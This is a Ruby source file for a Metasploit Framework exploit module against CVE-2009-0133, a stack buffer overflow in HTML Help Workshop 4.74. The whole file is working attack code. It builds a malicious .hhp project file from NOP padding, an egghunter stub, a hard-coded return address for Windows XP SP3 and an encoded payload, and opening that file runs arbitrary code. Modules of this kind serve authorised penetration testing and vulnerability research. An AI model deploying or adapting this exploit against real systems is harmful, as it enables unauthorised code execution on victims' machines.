##
# $Id: hhw_hhp_indexfile_bof.rb 10477 2010-09-25 11:59:02Z mc $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'HTML Help Workshop 4.74 (hhp Project File) Buffer Overflow Exploit',
'Description' => %q{
This module exploits a stack buffer overflow in HTML Help Workshop 4.74
By creating a specially crafted hhp file, an an attacker may be able
to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'Encrypt3d.M!nd', 'loneferret', 'jduck' ],
'Version' => '$Revision: 10477 $',
'References' =>
[
[ 'CVE', '2009-0133' ],
[ 'BID', '33189' ],
[ 'OSVDB', '22941' ],
[ 'URL', 'http://www.exploit-db.com/exploits/10323' ],
[ 'URL', 'http://www.exploit-db.com/exploits/10335' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x0a\x0d\x1a\x2f\x5c",
'StackAdjustment' => -4800,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP English SP3', { 'Offset' => 280, 'Ret' => 0x00401F93 } ], # CALL EDI hhw.exe v4.74.8702.0
],
'Privileged' => false,
'DisclosureDate' => 'Jan 17 2009',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.hhp']),
], self.class)
end
def exploit
# use the egghunter!
eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
off = target['Offset']
idxf = ""
idxf << make_nops(off - eh_stub.length)
idxf << eh_stub
idxf << [target.ret].pack('V')
sploit = "[OPTIONS]\r\n"
sploit << "Index file="
sploit << idxf
sploit << "\r\n"
sploit << "\r\n"
sploit << "[FILES]\r\n"
sploit << "\r\n"
sploit << eh_egg
hhp = sploit
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(hhp)
end
end